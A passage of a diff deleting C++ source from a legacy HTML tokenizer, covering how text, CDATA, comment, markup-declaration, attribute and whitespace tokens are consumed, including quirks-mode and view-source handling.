- if (NS_FAILED(result)) {
- if (kEOF == result && !aScanner.IsIncremental()) {
- aFound = true; // this is as good as it gets.
- result = kFakeEndTag;
-
- if (aConservativeConsume && altEndPos != endPos) {
- // We ran out of room looking for a </title>. Go back to the first
- // place that looked like a tag and use that as our stopping point.
- theContent.writable().Truncate(truncPos);
- mNewlineCount = truncNewlineCount;
- aScanner.SetPosition(altEndPos, false, true);
- }
- // else we take everything we consumed.
- mTextValue.Rebind(theContent.str());
- } else {
- aFound = false;
- }
-
- return result;
- }
-
- aScanner.CurrentPosition(currPos);
- aScanner.GetChar(ch); // this character must be '&' or '<'
-
- if (ch == kLessThan && altEndPos == endPos) {
- // Keep this position in case we need it for later.
- altEndPos = currPos;
- truncPos = theContent.str().Length();
- truncNewlineCount = mNewlineCount;
- }
-
- if (Distance(currPos, endPos) >= termStrLen) {
- nsScannerIterator start(currPos), end(currPos);
- end.advance(termStrLen);
-
- if (CaseInsensitiveFindInReadable(theTerminalString, start, end)) {
- if (end != endPos && (*end == '>' || *end == ' ' ||
- *end == '\t' || *end == '\n' ||
- *end == '\r')) {
- aFound = true;
- mTextValue.Rebind(theContent.str());
-
- // Note: This SetPosition() is actually going backwards from the
- // scanner's mCurrentPosition (so we pass aReverse == true). This
- // is because we call GetChar() above after we get the current
- // position.
- aScanner.SetPosition(currPos, false, true);
- break;
- }
- }
- }
- // IE only consumes <!-- --> as comments in PCDATA.
- if (Distance(currPos, endPos) >= commentStartLen) {
- nsScannerIterator start(currPos), end(currPos);
- end.advance(commentStartLen);
-
- if (CaseInsensitiveFindInReadable(commentStart, start, end)) {
- CCommentToken consumer; // stack allocated.
-
- // CCommentToken expects us to be on the '-'
- aScanner.SetPosition(currPos.advance(2));
-
- // In quirks mode we consume too many things as comments, so pretend
- // that we're not by modifying aFlag.
- result = consumer.Consume(*currPos, aScanner,
- (aFlag & ~NS_IPARSER_FLAG_QUIRKS_MODE) |
- NS_IPARSER_FLAG_STRICT_MODE);
- if (kEOF == result) {
- // This can only happen if we're really out of space.
- return kEOF;
- } else if (kNotAComment == result) {
- // Fall through and consume this as text.
- aScanner.CurrentPosition(currPos);
- aScanner.SetPosition(currPos.advance(1));
- } else {
- consumer.AppendSourceTo(theContent.writable());
- mNewlineCount += consumer.GetNewlineCount();
- continue;
- }
- }
- }
-
- result = kEOF;
- // We did not find the terminal string yet so
- // include the character that stopped consumption.
- theContent.writable().Append(ch);
- } while (currPos != endPos);
-
- return result;
-}
-
-void
-CTextToken::CopyTo(nsAString& aStr)
-{
- nsScannerIterator start, end;
- mTextValue.BeginReading(start);
- mTextValue.EndReading(end);
- CopyUnicodeTo(start, end, aStr);
-}
-
-const nsSubstring& CTextToken::GetStringValue()
-{
- return mTextValue.AsString();
-}
-
-void
-CTextToken::Bind(nsScanner* aScanner, nsScannerIterator& aStart,
- nsScannerIterator& aEnd)
-{
- aScanner->BindSubstring(mTextValue, aStart, aEnd);
-}
-
-void
-CTextToken::Bind(const nsAString& aStr)
-{
- mTextValue.Rebind(aStr);
-}
-
-CCDATASectionToken::CCDATASectionToken(eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
-}
-
-CCDATASectionToken::CCDATASectionToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mTextValue.Assign(aName);
-}
-
-int32_t
-CCDATASectionToken::GetTokenType()
-{
- return eToken_cdatasection;
-}
-
-/*
- * Consume as much marked test from scanner as possible.
- * Note: This has to handle case: "<![ ! IE 5]>", in addition to "<![..[..]]>"
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CCDATASectionToken::Consume(PRUnichar aChar, nsScanner& aScanner,
- int32_t aFlag)
-{
- static const PRUnichar theTerminalsChars[] =
- { PRUnichar('\r'), PRUnichar('\n'), PRUnichar(']'), PRUnichar(0) };
- static const nsReadEndCondition theEndCondition(theTerminalsChars);
- nsresult result = NS_OK;
- bool done = false;
-
- while (NS_OK == result && !done) {
- result = aScanner.ReadUntil(mTextValue, theEndCondition, false);
- if (NS_OK == result) {
- result = aScanner.Peek(aChar);
- if (kCR == aChar && NS_OK == result) {
- result = aScanner.GetChar(aChar); // Strip off the \r
- result = aScanner.Peek(aChar); // Then see what's next.
- if (NS_OK == result) {
- switch(aChar) {
- case kCR:
- result = aScanner.GetChar(aChar); // Strip off the \r
- mTextValue.AppendLiteral("\n\n");
- mNewlineCount += 2;
- break;
-
- case kNewLine:
- // Which means we saw \r\n, which becomes \n
- result = aScanner.GetChar(aChar); // Strip off the \n
-
- // Fall through...
- default:
- mTextValue.AppendLiteral("\n");
- mNewlineCount++;
- break;
- }
- }
- } else if (kNewLine == aChar) {
- result = aScanner.GetChar(aChar);
- mTextValue.Append(aChar);
- ++mNewlineCount;
- } else if (kRightSquareBracket == aChar) {
- bool canClose = false;
- result = aScanner.GetChar(aChar); // Strip off the ]
- mTextValue.Append(aChar);
- result = aScanner.Peek(aChar); // Then see what's next.
- if (NS_OK == result && kRightSquareBracket == aChar) {
- result = aScanner.GetChar(aChar); // Strip off the second ]
- mTextValue.Append(aChar);
- canClose = true;
- }
-
- // The goal here is to not lose data from the page when encountering
- // markup like: <![endif]-->. This means that in normal parsing, we
- // allow ']' to end the marked section and just drop everything between
- // it an the '>'. In view-source mode, we cannot drop things on the
- // floor like that. In fact, to make view-source of XML with script in
- // CDATA sections at all bearable, we need to somewhat enforce the ']]>'
- // terminator for marked sections. So make the tokenization somewhat
- // different when in view-source _and_ dealing with a CDATA section.
- // XXX We should remember this StringBeginsWith test.
- bool inCDATA = (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) &&
- StringBeginsWith(mTextValue, NS_LITERAL_STRING("[CDATA["));
- if (inCDATA) {
- // Consume all right square brackets to catch cases such as:
- // <![CDATA[foo]]]>
- while (true) {
- result = aScanner.Peek(aChar);
- if (result != NS_OK || aChar != kRightSquareBracket) {
- break;
- }
-
- mTextValue.Append(aChar);
- aScanner.GetChar(aChar);
- }
- } else {
- nsAutoString dummy; // Skip any bad data
- result = aScanner.ReadUntil(dummy, kGreaterThan, false);
- }
- if (NS_OK == result &&
- (!inCDATA || (canClose && kGreaterThan == aChar))) {
- result = aScanner.GetChar(aChar); // Strip off the >
- done = true;
- }
- } else {
- done = true;
- }
- }
- }
-
- if (kEOF == result && !aScanner.IsIncremental()) {
- // We ran out of space looking for the end of this CDATA section.
- // In order to not completely lose the entire section, treat everything
- // until the end of the document as part of the CDATA section and let
- // the DTD handle it.
- mInError = true;
- result = NS_OK;
- }
-
- return result;
-}
-
-const nsSubstring&
-CCDATASectionToken::GetStringValue()
-{
- return mTextValue;
-}
-
-
-CMarkupDeclToken::CMarkupDeclToken()
- : CHTMLToken(eHTMLTag_markupDecl)
-{
-}
-
-CMarkupDeclToken::CMarkupDeclToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_markupDecl)
-{
- mTextValue.Rebind(aName);
-}
-
-int32_t
-CMarkupDeclToken::GetTokenType()
-{
- return eToken_markupDecl;
-}
-
-/*
- * Consume as much declaration from scanner as possible.
- * Declaration is a markup declaration of ELEMENT, ATTLIST, ENTITY or
- * NOTATION, which can span multiple lines and ends in >.
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CMarkupDeclToken::Consume(PRUnichar aChar, nsScanner& aScanner,
- int32_t aFlag)
-{
- static const PRUnichar theTerminalsChars[] =
- { PRUnichar('\n'), PRUnichar('\r'), PRUnichar('\''), PRUnichar('"'),
- PRUnichar('>'),
- PRUnichar(0) };
- static const nsReadEndCondition theEndCondition(theTerminalsChars);
- nsresult result = NS_OK;
- bool done = false;
- PRUnichar quote = 0;
-
- nsScannerIterator origin, start, end;
- aScanner.CurrentPosition(origin);
- start = origin;
-
- while (NS_OK == result && !done) {
- aScanner.SetPosition(start);
- result = aScanner.ReadUntil(start, end, theEndCondition, false);
- if (NS_OK == result) {
- result = aScanner.Peek(aChar);
-
- if (NS_OK == result) {
- PRUnichar theNextChar = 0;
- if (kCR == aChar || kNewLine == aChar) {
- result = aScanner.GetChar(aChar); // Strip off the char
- result = aScanner.Peek(theNextChar); // Then see what's next.
- }
- switch(aChar) {
- case kCR:
- // result = aScanner.GetChar(aChar);
- if (kLF == theNextChar) {
- // If the "\r" is followed by a "\n", don't replace it and
- // let it be ignored by the layout system
- end.advance(2);
- result = aScanner.GetChar(theNextChar);
- } else {
- // If it standalone, replace the "\r" with a "\n" so that
- // it will be considered by the layout system
- aScanner.ReplaceCharacter(end, kLF);
- ++end;
- }
- ++mNewlineCount;
- break;
- case kLF:
- ++end;
- ++mNewlineCount;
- break;
- case '\'':
- case '"':
- ++end;
- if (quote) {
- if (quote == aChar) {
- quote = 0;
- }
- } else {
- quote = aChar;
- }
- break;
- case kGreaterThan:
- if (quote) {
- ++end;
- } else {
- start = end;
- // Note that start is wrong after this, we just avoid temp var
- ++start;
- aScanner.SetPosition(start); // Skip the >
- done = true;
- }
- break;
- default:
- NS_ABORT_IF_FALSE(0, "should not happen, switch is missing cases?");
- break;
- }
- start = end;
- } else {
- done = true;
- }
- }
- }
- aScanner.BindSubstring(mTextValue, origin, end);
-
- if (kEOF == result) {
- mInError = true;
- if (!aScanner.IsIncremental()) {
- // Hide this EOF.
- result = NS_OK;
- }
- }
-
- return result;
-}
-
-const nsSubstring&
-CMarkupDeclToken::GetStringValue()
-{
- return mTextValue.AsString();
-}
-
-
-CCommentToken::CCommentToken()
- : CHTMLToken(eHTMLTag_comment)
-{
-}
-
-CCommentToken::CCommentToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_comment)
-{
- mComment.Rebind(aName);
-}
-
-void
-CCommentToken::AppendSourceTo(nsAString& anOutputString)
-{
- AppendUnicodeTo(mCommentDecl, anOutputString);
-}
-
-static bool
-IsCommentEnd(const nsScannerIterator& aCurrent, const nsScannerIterator& aEnd,
- nsScannerIterator& aGt)
-{
- nsScannerIterator current = aCurrent;
- int32_t dashes = 0;
-
- while (current != aEnd && dashes != 2) {
- if (*current == kGreaterThan) {
- aGt = current;
- return true;
- }
- if (*current == PRUnichar('-')) {
- ++dashes;
- } else {
- dashes = 0;
- }
- ++current;
- }
-
- return false;
-}
-
-nsresult
-CCommentToken::ConsumeStrictComment(nsScanner& aScanner)
-{
- // <!--[... -- ... -- ...]*-->
- /*********************************************************
- NOTE: This algorithm does a fine job of handling comments
- when they're formatted per spec, but if they're not
- we don't handle them well.
- *********************************************************/
- nsScannerIterator end, current, gt, lt;
- aScanner.EndReading(end);
- aScanner.CurrentPosition(current);
-
- nsScannerIterator beginData = end;
-
- lt = current;
- lt.advance(-2); // <!
-
- current.advance(-1);
-
- // Regular comment must start with <!--
- if (*current == kExclamation &&
- ++current != end && *current == kMinus &&
- ++current != end && *current == kMinus &&
- ++current != end) {
- nsScannerIterator currentEnd = end;
- bool balancedComment = false;
- NS_NAMED_LITERAL_STRING(dashes, "--");
- beginData = current;
-
- while (FindInReadable(dashes, current, currentEnd)) {
- current.advance(2);
-
- balancedComment = !balancedComment; // We need to match '--' with '--'
-
- if (balancedComment && IsCommentEnd(current, end, gt)) {
- // done
- current.advance(-2);
- // Note: it's ok if beginData == current, (we'll copy an empty string)
- // and we need to bind mComment anyway.
- aScanner.BindSubstring(mComment, beginData, current);
- aScanner.BindSubstring(mCommentDecl, lt, ++gt);
- aScanner.SetPosition(gt);
- return NS_OK;
- }
-
- // Continue after the last '--'
- currentEnd = end;
- }
- }
-
- // If beginData == end, we did not find opening '--'
- if (beginData == end) {
- // This might have been empty comment: <!>
- // Or it could have been something completely bogus like: <!This is foobar>
- // Handle both cases below
- aScanner.CurrentPosition(current);
- beginData = current;
- if (FindCharInReadable('>', current, end)) {
- aScanner.BindSubstring(mComment, beginData, current);
- aScanner.BindSubstring(mCommentDecl, lt, ++current);
- aScanner.SetPosition(current);
- return NS_OK;
- }
- }
-
- if (aScanner.IsIncremental()) {
- // We got here because we saw the beginning of a comment,
- // but not yet the end, and we are still loading the page. In that
- // case the return value here will cause us to unwind,
- // wait for more content, and try again.
- // XXX For performance reasons we should cache where we were, and
- // continue from there for next call
- return kEOF;
- }
-
- // There was no terminating string, parse this comment as text.
- aScanner.SetPosition(lt, false, true);
- return kNotAComment;
-}
-
-nsresult
-CCommentToken::ConsumeQuirksComment(nsScanner& aScanner)
-{
- // <![-[-]] ... [[-]-|--!]>
- /*********************************************************
- NOTE: This algorithm does a fine job of handling comments
- commonly used, but it doesn't really consume them
- per spec (But then, neither does IE or Nav).
- *********************************************************/
- nsScannerIterator end, current;
- aScanner.EndReading(end);
- aScanner.CurrentPosition(current);
- nsScannerIterator beginData = current,
- beginLastMinus = end,
- bestAltCommentEnd = end,
- lt = current;
- lt.advance(-2); // <!
-
- // When we get here, we have always already consumed <!
- // Skip over possible leading minuses
- if (current != end && *current == kMinus) {
- beginLastMinus = current;
- ++current;
- ++beginData;
- if (current != end && *current == kMinus) { // <!--
- beginLastMinus = current;
- ++current;
- ++beginData;
- // Long form comment
-
- nsScannerIterator currentEnd = end, gt = end;
-
- // Find the end of the comment
- while (FindCharInReadable(kGreaterThan, current, currentEnd)) {
- gt = current;
- if (bestAltCommentEnd == end) {
- bestAltCommentEnd = gt;
- }
- --current;
- bool goodComment = false;
- if (current != beginLastMinus && *current == kMinus) { // ->
- --current;
- if (current != beginLastMinus && *current == kMinus) { // -->
- goodComment = true;
- --current;
- }
- } else if (current != beginLastMinus && *current == '!') {
- --current;
- if (current != beginLastMinus && *current == kMinus) {
- --current;
- if (current != beginLastMinus && *current == kMinus) { // --!>
- --current;
- goodComment = true;
- }
- }
- } else if (current == beginLastMinus) {
- goodComment = true;
- }
-
- if (goodComment) {
- // done
- aScanner.BindSubstring(mComment, beginData, ++current);
- aScanner.BindSubstring(mCommentDecl, lt, ++gt);
- aScanner.SetPosition(gt);
- return NS_OK;
- } else {
- // try again starting after the last '>'
- current = ++gt;
- currentEnd = end;
- }
- }
-
- if (aScanner.IsIncremental()) {
- // We got here because we saw the beginning of a comment,
- // but not yet the end, and we are still loading the page. In that
- // case the return value here will cause us to unwind,
- // wait for more content, and try again.
- // XXX For performance reasons we should cache where we were, and
- // continue from there for next call
- return kEOF;
- }
-
- // If you're here, then we're in a special state.
- // The problem at hand is that we've hit the end of the document without
- // finding the normal endcomment delimiter "-->". In this case, the
- // first thing we try is to see if we found an alternate endcomment
- // delimiter ">". If so, rewind just pass that, and use everything up
- // to that point as your comment. If not, the document has no end
- // comment and should be treated as one big comment.
- gt = bestAltCommentEnd;
- aScanner.BindSubstring(mComment, beginData, gt);
- if (gt != end) {
- ++gt;
- }
- aScanner.BindSubstring(mCommentDecl, lt, gt);
- aScanner.SetPosition(gt);
- return NS_OK;
- }
- }
-
- // This could be short form of comment
- // Find the end of the comment
- current = beginData;
- if (FindCharInReadable(kGreaterThan, current, end)) {
- nsScannerIterator gt = current;
- if (current != beginData) {
- --current;
- if (current != beginData && *current == kMinus) { // ->
- --current;
- if (current != beginData && *current == kMinus) { // -->
- --current;
- }
- } else if (current != beginData && *current == '!') { // !>
- --current;
- if (current != beginData && *current == kMinus) { // -!>
- --current;
- if (current != beginData && *current == kMinus) { // --!>
- --current;
- }
- }
- }
- }
-
- if (current != gt) {
- aScanner.BindSubstring(mComment, beginData, ++current);
- } else {
- // Bind mComment to an empty string (note that if current == gt,
- // then current == beginData). We reach this for <!>
- aScanner.BindSubstring(mComment, beginData, current);
- }
- aScanner.BindSubstring(mCommentDecl, lt, ++gt);
- aScanner.SetPosition(gt);
- return NS_OK;
- }
-
- if (!aScanner.IsIncremental()) {
- // This isn't a comment at all, go back to the < and consume as text.
- aScanner.SetPosition(lt, false, true);
- return kNotAComment;
- }
-
- // Wait for more data...
- return kEOF;
-}
-
-/*
- * Consume the identifier portion of the comment.
- * Note that we've already eaten the "<!" portion.
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CCommentToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- nsresult result = NS_OK;
-
- if (aFlag & NS_IPARSER_FLAG_STRICT_MODE) {
- // Enabling strict comment parsing for Bug 53011 and 2749 contradicts!
- result = ConsumeStrictComment(aScanner);
- } else {
- result = ConsumeQuirksComment(aScanner);
- }
-
- if (NS_SUCCEEDED(result)) {
- mNewlineCount = mCommentDecl.CountChar(kNewLine);
- }
-
- return result;
-}
-
-const nsSubstring&
-CCommentToken::GetStringValue()
-{
- return mComment.AsString();
-}
-
-int32_t
-CCommentToken::GetTokenType()
-{
- return eToken_comment;
-}
-
-CNewlineToken::CNewlineToken()
- : CHTMLToken(eHTMLTag_newline)
-{
-}
-
-int32_t
-CNewlineToken::GetTokenType()
-{
- return eToken_newline;
-}
-
-static nsScannerSubstring* gNewlineStr;
-void
-CNewlineToken::AllocNewline()
-{
- gNewlineStr = new nsScannerSubstring(NS_LITERAL_STRING("\n"));
-}
-
-void
-CNewlineToken::FreeNewline()
-{
- if (gNewlineStr) {
- delete gNewlineStr;
- gNewlineStr = nullptr;
- }
-}
-
-/**
- * This method retrieves the value of this internal string.
- *
- * @return nsString reference to internal string value
- */
-const nsSubstring&
-CNewlineToken::GetStringValue()
-{
- return gNewlineStr->AsString();
-}
-
-/*
- * Consume one newline (cr/lf pair).
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CNewlineToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- /*
- * Here's what the HTML spec says about newlines:
- *
- * "A line break is defined to be a carriage return (&#x000D;),
- * a line feed (&#x000A;), or a carriage return/line feed pair.
- * All line breaks constitute white space."
- */
-
- nsresult rv = NS_OK;
- if (aChar == kCR) {
- PRUnichar theChar;
- rv = aScanner.Peek(theChar);
- if (theChar == kNewLine) {
- rv = aScanner.GetChar(theChar);
- } else if (rv == kEOF && !aScanner.IsIncremental()) {
- // Make sure we don't lose information about this trailing newline.
- rv = NS_OK;
- }
- }
-
- mNewlineCount = 1;
- return rv;
-}
-
-CAttributeToken::CAttributeToken()
- : CHTMLToken(eHTMLTag_unknown)
-{
- mHasEqualWithoutValue = false;
-}
-
-/*
- * String based constructor
- */
-CAttributeToken::CAttributeToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mTextValue.writable().Assign(aName);
- mHasEqualWithoutValue = false;
-}
-
-/*
- * construct initializing data to key value pair
- */
-CAttributeToken::CAttributeToken(const nsAString& aKey, const nsAString& aName)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mTextValue.writable().Assign(aName);
- mTextKey.Rebind(aKey);
- mHasEqualWithoutValue = false;
-}
-
-int32_t
-CAttributeToken::GetTokenType()
-{
- return eToken_attribute;
-}
-
-const nsSubstring&
-CAttributeToken::GetStringValue()
-{
- return mTextValue.str();
-}
-
-void
-CAttributeToken::GetSource(nsString& anOutputString)
-{
- anOutputString.Truncate();
- AppendSourceTo(anOutputString);
-}
-
-void
-CAttributeToken::AppendSourceTo(nsAString& anOutputString)
-{
- AppendUnicodeTo(mTextKey, anOutputString);
- if (mTextValue.str().Length() || mHasEqualWithoutValue) {
- anOutputString.AppendLiteral("=");
- }
- anOutputString.Append(mTextValue.str());
- // anOutputString.AppendLiteral(";");
-}
-
-/*
- * This general purpose method is used when you want to
- * consume a known quoted string.
- */
-static nsresult
-ConsumeQuotedString(PRUnichar aChar,
- nsScannerSharedSubstring& aString,
- int32_t& aNewlineCount,
- nsScanner& aScanner,
- int32_t aFlag)
-{
- NS_ASSERTION(aChar == kQuote || aChar == kApostrophe,
- "char is neither quote nor apostrophe");
- // Hold onto this in case this is an unterminated string literal
- uint32_t origLen = aString.str().Length();
-
- static const PRUnichar theTerminalCharsQuote[] = {
- PRUnichar(kQuote), PRUnichar('&'), PRUnichar(kCR),
- PRUnichar(kNewLine), PRUnichar(0) };
- static const PRUnichar theTerminalCharsApostrophe[] = {
- PRUnichar(kApostrophe), PRUnichar('&'), PRUnichar(kCR),
- PRUnichar(kNewLine), PRUnichar(0) };
- static const nsReadEndCondition
- theTerminateConditionQuote(theTerminalCharsQuote);
- static const nsReadEndCondition
- theTerminateConditionApostrophe(theTerminalCharsApostrophe);
-
- // Assume Quote to init to something
- const nsReadEndCondition *terminateCondition = &theTerminateConditionQuote;
- if (aChar == kApostrophe) {
- terminateCondition = &theTerminateConditionApostrophe;
- }
-
- nsresult result = NS_OK;
- nsScannerIterator theOffset;
- aScanner.CurrentPosition(theOffset);
-
- result = ConsumeUntil(aString, aNewlineCount, aScanner,
- *terminateCondition, true, true, aFlag);
-
- if (NS_SUCCEEDED(result)) {
- result = aScanner.GetChar(aChar); // aChar should be " or '
- }
-
- // Ref: Bug 35806
- // A back up measure when disaster strikes...
- // Ex <table> <tr d="><td>hello</td></tr></table>
- if (!aString.str().IsEmpty() && aString.str().Last() != aChar &&
- !aScanner.IsIncremental() && result == kEOF) {
- static const nsReadEndCondition
- theAttributeTerminator(kAttributeTerminalChars);
- aString.writable().Truncate(origLen);
- aScanner.SetPosition(theOffset, false, true);
- result = ConsumeUntil(aString, aNewlineCount, aScanner,
- theAttributeTerminator, false, true, aFlag);
- if (NS_SUCCEEDED(result) && (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- // Remember that this string literal was unterminated.
- result = NS_ERROR_HTMLPARSER_UNTERMINATEDSTRINGLITERAL;
- }
- }
- return result;
-}
-
-/*
- * This method is meant to be used by view-source to consume invalid attributes.
- * For the purposes of this method, an invalid attribute is an attribute that
- * starts with either ', ", or /. We consume all ', ", or / and the following
- * whitespace.
- *
- * @param aScanner -- the scanner we're reading our data from.
- * @param aChar -- the character we're skipping
- * @param aCurrent -- the current position that we're looking at.
- * @param aNewlineCount -- a count of the newlines we've consumed.
- * @return error result.
- */
-static nsresult
-ConsumeInvalidAttribute(nsScanner& aScanner,
- PRUnichar aChar,
- nsScannerIterator& aCurrent,
- int32_t& aNewlineCount)
-{
- NS_ASSERTION(aChar == kApostrophe || aChar == kQuote || aChar == kForwardSlash,
- "aChar must be a quote or apostrophe");
- nsScannerIterator end, wsbeg;
- aScanner.EndReading(end);
-
- while (aCurrent != end && *aCurrent == aChar) {
- ++aCurrent;
- }
-
- aScanner.SetPosition(aCurrent);
- return aScanner.ReadWhitespace(wsbeg, aCurrent, aNewlineCount);
-}
-
-/*
- * Consume the key and value portions of the attribute.
- */
-nsresult
-CAttributeToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- nsresult result;
- nsScannerIterator wsstart, wsend;
-
- if (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) {
- result = aScanner.ReadWhitespace(wsstart, wsend, mNewlineCount);
- if (kEOF == result && wsstart != wsend) {
- // Do this here so if this is the final token in the document, we don't
- // lose the whitespace.
- aScanner.BindSubstring(mTextKey, wsstart, wsend);
- }
- } else {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
-
- if (NS_OK == result) {
- static const PRUnichar theTerminalsChars[] =
- { PRUnichar(' '), PRUnichar('"'),
- PRUnichar('='), PRUnichar('\n'),
- PRUnichar('\r'), PRUnichar('\t'),
- PRUnichar('>'), PRUnichar('<'),
- PRUnichar('\''), PRUnichar('/'),
- PRUnichar(0) };
- static const nsReadEndCondition theEndCondition(theTerminalsChars);
-
- nsScannerIterator start, end;
- result = aScanner.ReadUntil(start, end, theEndCondition, false);
-
- if (!(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- aScanner.BindSubstring(mTextKey, start, end);
- } else if (kEOF == result && wsstart != end) {
- // Capture all of the text (from the beginning of the whitespace to the
- // end of the document).
- aScanner.BindSubstring(mTextKey, wsstart, end);
- }
-
- // Now it's time to Consume the (optional) value...
- if (NS_OK == result) {
- if (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) {
- result = aScanner.ReadWhitespace(start, wsend, mNewlineCount);
- aScanner.BindSubstring(mTextKey, wsstart, wsend);
- } else {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
-
- if (NS_OK == result) {
- // Skip ahead until you find an equal sign or a '>'...
- result = aScanner.Peek(aChar);
- if (NS_OK == result) {
- if (kEqual == aChar) {
- result = aScanner.GetChar(aChar); // Skip the equal sign...
- if (NS_OK == result) {
- if (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) {
- bool haveCR;
- result = aScanner.ReadWhitespace(mTextValue, mNewlineCount,
- haveCR);
- } else {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
-
- if (NS_OK == result) {
- result = aScanner.Peek(aChar); // And grab the next char.
- if (NS_OK == result) {
- if (kQuote == aChar || kApostrophe == aChar) {
- aScanner.GetChar(aChar);
- if (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) {
- mTextValue.writable().Append(aChar);
- }
-
- result = ConsumeQuotedString(aChar, mTextValue,
- mNewlineCount, aScanner,
- aFlag);
- if (NS_SUCCEEDED(result) &&
- (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- mTextValue.writable().Append(aChar);
- } else if (result ==
- NS_ERROR_HTMLPARSER_UNTERMINATEDSTRINGLITERAL) {
- result = NS_OK;
- mInError = true;
- }
- // According to spec. we ( who? ) should ignore linefeeds.
- // But look, even the carriage return was getting stripped
- // ( wonder why! ) - Ref. to bug 15204. Okay, so the
- // spec. told us to ignore linefeeds, bug then what about
- // bug 47535 ? Should we preserve everything then? Well,
- // let's make it so!
- } else if (kGreaterThan == aChar) {
- mHasEqualWithoutValue = true;
- mInError = true;
- } else {
- static const nsReadEndCondition
- theAttributeTerminator(kAttributeTerminalChars);
- result =
- ConsumeUntil(mTextValue,
- mNewlineCount,
- aScanner,
- theAttributeTerminator,
- false,
- true,
- aFlag);
- }
- }
- if (NS_OK == result) {
- if (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE) {
- bool haveCR;
- result = aScanner.ReadWhitespace(mTextValue, mNewlineCount,
- haveCR);
- } else {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
- }
- } else {
- // We saw an equal sign but ran out of room looking for a value.
- mHasEqualWithoutValue = true;
- mInError = true;
- }
- }
- } else {
- // This is where we have to handle fairly busted content.
- // If you're here, it means we saw an attribute name, but couldn't
- // find the following equal sign. <tag NAME....
-
- // Doing this right in all cases is <i>REALLY</i> ugly.
- // My best guess is to grab the next non-ws char. We know it's not
- // '=', so let's see what it is. If it's a '"', then assume we're
- // reading from the middle of the value. Try stripping the quote
- // and continuing... Note that this code also strips forward
- // slashes to handle cases like <tag NAME/>
- if (kQuote == aChar || kApostrophe == aChar ||
- kForwardSlash == aChar) {
- // In XML, a trailing slash isn't an error.
- if (kForwardSlash != aChar || !(aFlag & NS_IPARSER_FLAG_XML)) {
- mInError = true;
- }
-
- if (!(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = aScanner.SkipOver(aChar); // Strip quote or slash.
- if (NS_SUCCEEDED(result)) {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
- } else {
- // We want to collect whitespace here so that following
- // attributes can have the right line number (and for
- // parity with the non-view-source code above).
- result = ConsumeInvalidAttribute(aScanner, aChar,
- wsend, mNewlineCount);
-
- aScanner.BindSubstring(mTextKey, wsstart, wsend);
- aScanner.SetPosition(wsend);
- }
- }
- }
- }
- }
- }
-
- if (NS_OK == result) {
- if (mTextValue.str().Length() == 0 && mTextKey.Length() == 0 &&
- mNewlineCount == 0 && !mHasEqualWithoutValue) {
- // This attribute contains no useful information for us, so there is no
- // use in keeping it around. Attributes that are otherwise empty, but
- // have newlines in them are passed on the the DTD so it can get line
- // numbering right.
- return NS_ERROR_HTMLPARSER_BADATTRIBUTE;
- }
- }
- }
-
- if (kEOF == result && !aScanner.IsIncremental()) {
- // This is our run-of-the mill "don't lose content at the end of a
- // document" with a slight twist: we don't want to bother returning an
- // empty attribute key, even if this is the end of the document.
- if (mTextKey.Length() == 0) {
- result = NS_ERROR_HTMLPARSER_BADATTRIBUTE;
- } else {
- result = NS_OK;
- }
- }
-
- return result;
-}
-
-void
-CAttributeToken::SetKey(const nsAString& aKey)
-{
- mTextKey.Rebind(aKey);
-}
-
-void
-CAttributeToken::BindKey(nsScanner* aScanner,
- nsScannerIterator& aStart,
- nsScannerIterator& aEnd)
-{
- aScanner->BindSubstring(mTextKey, aStart, aEnd);
-}
-
-CWhitespaceToken::CWhitespaceToken()
- : CHTMLToken(eHTMLTag_whitespace)
-{
-}
-
-CWhitespaceToken::CWhitespaceToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_whitespace)
-{
- mTextValue.writable().Assign(aName);
-}
-
-int32_t CWhitespaceToken::GetTokenType()
-{
- return eToken_whitespace;
-}
-
-/*
- * This general purpose method is used when you want to
- * consume an aribrary sequence of whitespace.
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CWhitespaceToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- // If possible, we'd like to just be a dependent substring starting at
- // |aChar|. The scanner has already been advanced, so we need to
- // back it up to facilitate this.
-
- nsScannerIterator start;
- aScanner.CurrentPosition(start);
- aScanner.SetPosition(--start, false, true);
-
- bool haveCR;
-
- nsresult result = aScanner.ReadWhitespace(mTextValue, mNewlineCount, haveCR);
-
- if (result == kEOF && !aScanner.IsIncremental()) {
- // Oops, we ran off the end, make sure we don't lose the trailing
- // whitespace!
- result = NS_OK;
- }
-
- if (NS_OK == result && haveCR) {
- mTextValue.writable().StripChar(kCR);
- }
- return result;
-}
-
-const nsSubstring&
-CWhitespaceToken::GetStringValue()
-{
- return mTextValue.str();
-}
